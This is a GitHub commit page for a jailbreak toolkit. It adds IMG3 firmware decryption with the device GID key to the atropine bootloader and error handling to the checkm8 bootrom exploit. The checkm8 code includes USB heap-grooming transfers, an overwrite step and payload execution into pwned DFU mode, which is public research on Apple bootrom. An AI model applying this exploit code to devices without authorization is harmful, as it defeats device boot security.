Skip to content

Commit

Permalink
More work on tidying up USB instances, checkm8 should now error prope…
Browse files Browse the repository at this point in the history
…rly and Catalina should be less annoying
  • Loading branch information
synackuk committed Dec 19, 2019
1 parent 3a06584 commit 9cf4603
Show file tree
Hide file tree
Showing 10 changed files with 229 additions and 73 deletions.
2 changes: 1 addition & 1 deletion atropine/framebuffer.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ int fb_x = 0;
int fb_y = 0;

int init_framebuffer() {
fb_print("Pwned by SynAck ;)\n");
fb_print("Pwned by synackuk ;)\n");
debug("initialised framebuffer.\n");
return 0;
}
Expand Down
43 changes: 43 additions & 0 deletions atropine/image.c
Original file line number Diff line number Diff line change
@@ -1,5 +1,48 @@
#include <common.h>

static void* image_find_tag(void* image, unsigned int tag, unsigned int size) {
unsigned int i = 0;
unsigned int* current = image;
current = image;
for (i = 0; i < size; i++) {
if (*current == tag) {
return current;
}
current++;
}
return 0;
}

int decrypt_image(void* image) {
int ret;
img3_root* header = (img3_root*) image;
size_t len = header->tag.size;
image_kbag* kbag = (image_kbag*)image_find_tag(image, IMAGE_KBAG, len);
if(!kbag) {
error("Failed to find kbag");
return -1;
}
ret = aes_crypto_cmd(AES_DECRYPT, kbag->iv, kbag->iv, AES_KBAG_SIZE, AES_GID, 0, 0);
if(ret != 0) {
error("Failed to decrypt kbag");
return -1;
}
img3_tag* data_head = (img3_tag*)image_find_tag(image, IMAGE_DATA, len);
if(!data_head) {
error("Failed to find data tag");
return -1;
}
void* data = (void*)data_head + sizeof(img3_tag);
size_t data_len = (data_head->dataSize - (data_head->dataSize % 16));
ret = aes_crypto_cmd(AES_DECRYPT, data, data, data_len, AES_256, kbag->key, kbag->iv);
if(ret != 0) {
error("Failed to decrypt image data");
return -1;
}
memcpy(image, data, (data_head->dataSize - (data_head->dataSize % 16)));
return 0;
}

int bdev_read(void *bdev, void *buf, long long offset, long long size)
{
if (version < 1940) {
Expand Down
124 changes: 74 additions & 50 deletions atropine/includes/image.h
Original file line number Diff line number Diff line change
@@ -1,77 +1,101 @@
#ifndef IMAGE_H
#define IMAGE_H

#define AES_KBAG_SIZE 0x30

#define AES_DECRYPT 0x11

#define AES_GID 0x20000200
#define AES_256 0x20000000

#define IMAGE_DATA 0x44415441
#define IMAGE_KBAG 0x4B424147

#define IBOOT_TAG 'ibot'
#define DEVICE_TREE_TAG 'dtre'
#define LOGO_TAG 'logo'

struct bdev6_t {
struct bdev6_t *next;
unsigned field_4;
unsigned field_8;
unsigned field_C;
unsigned field_10;
unsigned size_lo;
unsigned size_hi;
int (*bdev_read)(void *bdev, void *buf, long long offset, long long size);
unsigned block_read;
unsigned bdev_write;
unsigned block_write;
unsigned field_34;
char name[16];
struct bdev6_t *next;
unsigned field_4;
unsigned field_8;
unsigned field_C;
unsigned field_10;
unsigned size_lo;
unsigned size_hi;
int (*bdev_read)(void *bdev, void *buf, long long offset, long long size);
unsigned block_read;
unsigned bdev_write;
unsigned block_write;
unsigned field_34;
char name[16];
} /*__attribute__((packed))*/;

struct bdev_t {
struct bdev_t *next;
unsigned field_4;
unsigned field_8;
unsigned field_C;
unsigned field_10;
unsigned size_lo;
unsigned size_hi;
unsigned field_1C;
unsigned field_20;
int (*bdev_read)(void *bdev, void *buf, long long offset, long long size);
unsigned block_read;
unsigned bdev_write;
unsigned block_write;
unsigned field_34;
char name[16];
unsigned field_48;
unsigned field_4C;
unsigned field_50;
unsigned field_54;
struct bdev_t *next;
unsigned field_4;
unsigned field_8;
unsigned field_C;
unsigned field_10;
unsigned size_lo;
unsigned size_hi;
unsigned field_1C;
unsigned field_20;
int (*bdev_read)(void *bdev, void *buf, long long offset, long long size);
unsigned block_read;
unsigned bdev_write;
unsigned block_write;
unsigned field_34;
char name[16];
unsigned field_48;
unsigned field_4C;
unsigned field_50;
unsigned field_54;
} /*__attribute__((packed))*/;

struct firmware_image;

struct firmware_image_info {
unsigned total_length;
unsigned size;
unsigned type;
unsigned magic;
unsigned flags;
struct firmware_image *super;
unsigned total_length;
unsigned size;
unsigned type;
unsigned magic;
unsigned flags;
struct firmware_image *super;
} /*__attribute__((packed))*/;

typedef struct firmware_image {
struct firmware_image *prev;
struct firmware_image *next;
struct bdev6_t *bdev;
unsigned offset_lo;
unsigned offset_hi;
unsigned field_14;
struct firmware_image_info info;
struct firmware_image *prev;
struct firmware_image *next;
struct bdev6_t *bdev;
unsigned offset_lo;
unsigned offset_hi;
unsigned field_14;
struct firmware_image_info info;
} firmware_image/*__attribute__((packed))*/;


typedef struct img3_tag {
unsigned int magic;
unsigned int size;
unsigned int dataSize;
} img3_tag;

typedef struct img3_root {
unsigned int magic;
unsigned int size;
unsigned int dataSize;
unsigned int shshOffset;
unsigned int name;
img3_tag tag;
unsigned int shshOffset;
unsigned int name;
} img3_root;

typedef struct image_kbag {
img3_tag header;
unsigned int state;
unsigned int type;
unsigned char iv[16];
unsigned char key[32];
} image_kbag;

int decrypt_image(void* image);
int bdev_read(void *bdev, void *buf, long long offset, long long size);
int load_image_from_bdev(char* address, uint32_t tag, size_t* len);

Expand Down
10 changes: 10 additions & 0 deletions atropine/menu_commands.c
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,11 @@ int fb_echo_command(int argc, command_args* argv) {
return 0;
}

int decrypt_command(int argc, command_args* argv) {
decrypt_image(load_address);
return 0;
}

int jump_command(int argc, command_args* argv) {
jumpto(0, load_address, 0, 0);
return 0;
Expand Down Expand Up @@ -62,6 +67,10 @@ int load_command(int argc, command_args* argv) {
load_image_from_bdev(addr, LOGO_TAG, (size_t*)&size);
fb_set_loc(0, 0);
}
else if(!strcmp(argv[1].string, "ibot")) {
log("Loading iBoot\n");
load_image_from_bdev(addr, IBOOT_TAG, (size_t*)&size);
}
set_env_uint("filesize", size, 0);
return 0;
}
Expand Down Expand Up @@ -125,6 +134,7 @@ int init_menu_commands() {
add_command("patch", &patch_command, "Patches a decryped image uploaded to the load address");
add_command("load", &load_command, "Loads on device images to the load addresss");
add_command("boot-args", &boot_args_command, "Sets boot arguments for loader");
add_command("decrypt", &decrypt_command, "Decrypts image at load address");

debug("Initialised menu commands.\n");
return 0;
Expand Down
84 changes: 67 additions & 17 deletions belladonna/exploits/checkm8/checkm8.c
Original file line number Diff line number Diff line change
Expand Up @@ -4,34 +4,64 @@
#define S5l8950X_OVERWRITE (unsigned char*)"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
#define S5l8955X_OVERWRITE S5l8950X_OVERWRITE

static void usb_stall(libloader_device_t dev){
static int usb_stall(libloader_device_t dev){
int ret;
unsigned char buf[0xC0];
memset(buf, 'A', 0xC0);
libloader_async_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0xC0, 0.00001);
ret = libloader_async_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0xC0, 0.00001);
if(ret < 0) {
return -1;
}
return 0;
}


static void usb_leak(libloader_device_t dev){
static int usb_leak(libloader_device_t dev){
int ret;
unsigned char buf[0xC0];
libloader_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0xC0, 1);
ret = libloader_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0xC0, 1);
if(ret < 0) {
return -1;
}
return 0;
}

static void usb_no_leak(libloader_device_t dev){
static int usb_no_leak(libloader_device_t dev){
int ret;
unsigned char buf[0xC1];
libloader_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0xC1, 1);
ret = libloader_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0xC1, 1);
if(ret < 0) {
return -1;
}
return 0;
}
static void usb_req_stall(libloader_device_t dev){
libloader_ctrl_transfer(dev, 0x2, 3, 0x0, 0x80, NULL, 0, 10);
static int usb_req_stall(libloader_device_t dev){
int ret;
ret = libloader_ctrl_transfer(dev, 0x2, 3, 0x0, 0x80, NULL, 0, 10);
if(ret != LIBLOADER_ERROR_PIPE) {
return -1;
}
return 0;
}

static void usb_req_leak(libloader_device_t dev){
static int usb_req_leak(libloader_device_t dev){
int ret;
unsigned char buf[0x40];
libloader_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0x40, 1);
ret = libloader_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0x40, 1);
if(ret != LIBUSB_ERROR_TIMEOUT) {
return -1;
}
return 0;
}

static void usb_req_no_leak(libloader_device_t dev){
static int usb_req_no_leak(libloader_device_t dev){
int ret;
unsigned char buf[0x41];
libloader_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0x41, 1);
ret = libloader_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, buf, 0x41, 1);
if(ret != LIBUSB_ERROR_TIMEOUT) {
return -1;
}
return 0;
}

int checkm8_supported(libloader_device_t dev) {
Expand Down Expand Up @@ -87,33 +117,51 @@ libloader_device_t checkm8_exploit(libloader_device_t dev) {
ret = get_exploit_configuration(cpid, &large_leak, &hole, &overwrite_offset, &leak, &overwrite, &overwrite_len);
if(ret != 0) {
error("Failed to get exploit configuration.");
libloader_close(dev);
return NULL;
}

char* identifier = libloader_get_identifier(dev);
if(!identifier) {
error("Failed to get identifier.");
libloader_close(dev);
return NULL;
}

ret = get_payload_configuration(cpid, identifier, &payload, &payload_len);
if(ret != 0) {
error("Failed to get payload configuration.");
libloader_close(dev);
return NULL;
}
dev = libloader_reconnect(dev, 0);
dev = libloader_reconnect(dev, 0.5);
if(!dev) {
error("Failed to reconnect to device.");
return NULL;
}

LOG("Grooming heap\n");
if(large_leak) {
usb_req_stall(dev);
ret = usb_req_stall(dev);
if(ret != 0) {
error("Failed to stall pipe.");
libloader_close(dev);
return NULL;
}
for(int i = 0; i < large_leak; i++) {
usb_req_leak(dev);
ret = usb_req_leak(dev);
if(ret != 0) {
error("Failed on leak: %d.", i);
libloader_close(dev);
return NULL;
}
}
usb_req_no_leak(dev);
ret = usb_req_no_leak(dev);
if(ret != 0) {
error("Failed on unstall pipe.");
libloader_close(dev);
return NULL;
}
}
else {
usb_stall(dev);
Expand All @@ -134,6 +182,7 @@ libloader_device_t checkm8_exploit(libloader_device_t dev) {
ret = libloader_async_ctrl_transfer(dev, 0x21, 1, 0, 0, buf, 0x800, 0.0001);
if(ret != 0) {
error("Failed to prepare for overwrite.");
libloader_close(dev);
return NULL;
}
libloader_ctrl_transfer(dev, 0, 0, 0, 0, buf, overwrite_offset, 100);
Expand Down Expand Up @@ -162,14 +211,15 @@ libloader_device_t checkm8_exploit(libloader_device_t dev) {

LOG("Executing payload\n");
libloader_reset(dev);
dev = libloader_reconnect(dev, 0.5);
dev = libloader_reconnect(dev, 2);
if(!dev) {
error("Failed execute payload.");
return NULL;
}
ret = libloader_is_pwned_dfu(dev);
if(!ret) {
error("Device not in Pwned DFU mode.");
libloader_close(dev);
return NULL;
}
LOG("Device is now in pwned DFU mode\n");
Expand Down
Loading

0 comments on commit 9cf4603

Please sign in to comment.